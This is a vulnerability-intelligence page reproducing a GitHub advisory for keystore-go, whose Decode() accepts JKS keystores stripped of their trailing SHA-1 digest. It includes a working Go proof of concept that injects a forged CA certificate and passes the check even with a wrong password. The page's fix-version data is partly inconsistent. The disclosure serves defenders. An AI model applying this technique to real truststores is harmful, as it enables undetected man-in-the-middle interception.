llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/pavel-v-chernykh/keystore-go

GHSA-J282-PJG5-J643

keystore-go: Keystore integrity and password verification bypass via stripped trailing digest in Decode()

Sin parche publicado
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición10 hDesde la divulgación, 19 nov 2026, 3:35 p. m.
Detección15 minDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Parche v3.0.3
Monitoreo
Detectada +1
24 jul 20
19 nov 26
20 nov 26
24 jul 20
22 feb 22
22 sept 23
21 abr 25
20 nov 26
FechaFaseEventoDetalle
Remediación Parche v3.0.3 github.com/pavel-v-chernykh/keystore-go/v3 · -2309 d desde divulgación
Divulgación Publicada GHSA-J282-PJG5-J643 divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
`keystore.Decode()` fails to check the error returned when reading the trailing SHA-1 integrity digest of a JKS keystore. If an attacker removes the final 20 bytes from a `.jks` file, the digest read returns an empty slice and the byte-comparison loop never executes, so `Decode()` returns the parsed keystore with `err == nil`. This defeats both tamper detection and — for certificate-only truststores — the password check itself, allowing an attacker with write access to a keystore file (but without knowledge of the keystore password) to silently inject or replace trusted CA certificates.

### Details
Affected versions: `github.com/pavel-v-chernykh/keystore-go` ≤ `v2.1.0+incompatible` (the final release on this module path). v3 and v4 releases are not impacted.

In `decoder.go`, function `Decode`, lines 264-272:

computedDigest := ksd.md.Sum(nil)
actualDigest, err := ksd.readBytes(uint32(ksd.md.Size()))
for i := 0; i < len(actualDigest); i++ {
    if actualDigest[i] != computedDigest[i] {
        return nil, ErrInvalidDigest
    }
}

return keyStore, nil

Two defects combine here:

  1. The `err` returned by `ksd.readBytes(20)` on line 265 is assigned but never inspected.
  2. The comparison loop on line 266 is bounded by `len(actualDigest)` rather than `len(computedDigest)`.

`readBytes` (`decoder.go` lines 75-94) reads the requested bytes via `io.ReadFull`; on EOF/short read it returns `(nil, ErrIo)`:

_, err := io.ReadFull(ksd.r, ksd.b[:blockSize])
if err != nil {
    return result, ErrIo
}

When the trailing 20-byte digest is absent from the input stream, `actualDigest` is therefore `nil`, `len(actualDigest) == 0`, the `for` loop body never executes, and `Decode()` falls through to `return keyStore, nil`.

The JKS format's only integrity guarantee is this trailing `SHA1(passwordBytes || "Mighty Aphrodite" || body)` digest. For truststores containing only `TrustedCertificateEntry` values it is also the *only* place the password is verified. Consequently:

  • An attacker who can modify a `.jks` truststore on disk — but does not know the keystore password — can replace or add trusted CA certificates, drop the last 20 bytes of the file, and the consuming Go process will load the forged truststore as valid.
  • After the digest is stripped, `Decode()` accepts any password, so operators who believe the password gates integrity receive no error even when the wrong password is supplied.

The reference Java `JavaKeyStore` implementation reads the digest with `DataInputStream.readFully` and throws on short read; this Go port diverges from that behaviour.

PoC
go mod init poc
go get github.com/pavel-v-chernykh/keystore-go@v2.1.0+incompatible
go run .
package main

import (
        "bytes"
        "fmt"
        "os"

        keystore "github.com/pavel-v-chernykh/keystore-go"
)

func main() {
        originalCert := []byte("ORIGINAL-TRUSTED-CA-CERTIFICATE")
        evilCert := []byte("EVIL-ATTACKER-CA-CERTIFICATE!!!") // same length

        ks := keystore.KeyStore{
                "trusted-ca": &keystore.TrustedCertificateEntry{
                        Certificate: keystore.Certificate{
                                Type:    "X509",
                                Content: originalCert,
                        },
                },
        }

        var buf bytes.Buffer
        if err := keystore.Encode(&buf, ks, []byte("correct-password")); err != nil {
                panic(err)
        }
        legit := buf.Bytes()
        fmt.Printf("[*] Legitimate keystore: %d bytes (last 20 = SHA-1 digest)\n", len(legit))

        // Sanity: untampered keystore with WRONG password is rejected.
        _, err := keystore.Decode(bytes.NewReader(legit), []byte("wrong-password"))
        fmt.Printf("[*] Decode(legit, wrong-password) -> err=%v  (expected ErrInvalidDigest)\n", err)

        // Attacker: tamper with the certificate, then strip the 20-byte digest.
        tampered := bytes.Replace(append([]byte(nil), legit...), originalCert, evilCert, 1)
        tampered = tampered[:len(tampered)-20] // remove trailing SHA-1 digest entirely

        // 1) Tampered keystore + CORRECT password: integrity check should fail.
        out, err := keystore.Decode(bytes.NewReader(tampered), []byte("correct-password"))
        if err == nil {
                entry := out["trusted-ca"].(*keystore.TrustedCertificateEntry)
                fmt.Printf("\n[BYPASS] Tampered keystore accepted with correct password.\n")
                fmt.Printf("         Trusted cert content: %q\n", entry.Certificate.Content)
        } else {
                fmt.Printf("[ok] tampered keystore rejected: %v\n", err)
                os.Exit(1)
        }

        // 2) Tampered keystore + WRONG password: should also fail.
        out2, err2 := keystore.Decode(bytes.NewReader(tampered), []byte("attacker-does-not-know"))
        if err2 == nil {
                entry := out2["trusted-ca"].(*keystore.TrustedCertificateEntry)
                fmt.Printf("[BYPASS] Tampered keystore accepted with WRONG password.\n")
                fmt.Printf("         Trusted cert content: %q\n", entry.Certificate.Content)
        } else {
                fmt.Printf("[ok] wrong password rejected: %v\n", err2)
                os.Exit(1)
        }
}

Expected output:

[*] Legitimate keystore: 97 bytes (last 20 = SHA-1 digest)
[*] Decode(legit, wrong-password) -> err=keystore: invalid digest  (expected ErrInvalidDigest)

[BYPASS] Tampered keystore accepted with correct password.
         Trusted cert content: "EVIL-ATTACKER-CA-CERTIFICATE!!!"
[BYPASS] Tampered keystore accepted with WRONG password.
         Trusted cert content: "EVIL-ATTACKER-CA-CERTIFICATE!!!"

### Impact
Any application that uses `keystore.Decode()` to load a JKS truststore and relies on the keystore password for tamper evidence is affected. An attacker who can write to the `.jks` file (local user, compromised deployment artefact, writable config volume, etc.) but does not know the keystore password can replace trusted CA certificates undetected. Downstream, this typically enables man-in-the-middle interception of TLS connections that trust the forged CA, compromising confidentiality and integrity of those connections. No authentication to the target application is required beyond file-write access; no user interaction is required.

This defect was fixed in commit `af93effd832cf1aef7794e69c31e1b668e17b851` (2019-09-16, "Update to go1.13"), which added an `if err != nil { return … }` guard after reading the trailing digest and replaced the length-of-actual loop with a full-length `bytes.Compare(actualDigest, computedDigest)`. That commit first shipped in tag v3.0.0. There is no fixed release on the bare `github.com/pavel-v-chernykh/keystore-go` module path — every release there (`v1.0.0` through `v2.1.0+incompatible`) predates the fix. The fixed code is available under the successor module paths:

  • `github.com/pavel-v-chernykh/keystore-go/v3` ≥ v3.0.0
  • `github.com/pavel-v-chernykh/keystore-go/v4` ≥ v4.0.0
  • `github.com/pavlo-v-chernykh/keystore-go/v4` ≥ v4.0.0 (repository renamed at v4.4.0; the Go module proxy serves all v4.x under both spellings)

Users of the legacy `v2` module path remain exposed and should migrate to `github.com/pavlo-v-chernykh/keystore-go/v4`.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
github.com/pavel-v-chernykh/keystore-go≤ 2.1.0
github.com/pavel-v-chernykh/keystore-go/v3< 3.0.0
v2.1.0+incompatible
2.1.0
3.0.0
v3.1.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/pavel-v-chernykh/keystore-go
Sin parche — — v2.1.0+incompatible afectada
gogithub.com/pavel-v-chernykh/keystore-go/v3
Corregida v3.0.3 -2309 d v3.1.0 no afectada
Versiones corregidas3.0.0v3.0.3
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-76101
Otrahttps://github.com/pavlo-v-chernykh/keystore-go/security/advisories/GHSA-j282-pjg5-j643
Otrahttps://github.com/pavlo-v-chernykh/keystore-go/commit/af93effd832cf1aef7794e69c31e1b668e17b851
Otrahttps://github.com/pavlo-v-chernykh/keystore-go
Otrahttps://github.com/pavlo-v-chernykh/keystore-go/releases/tag/v3.0.0

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.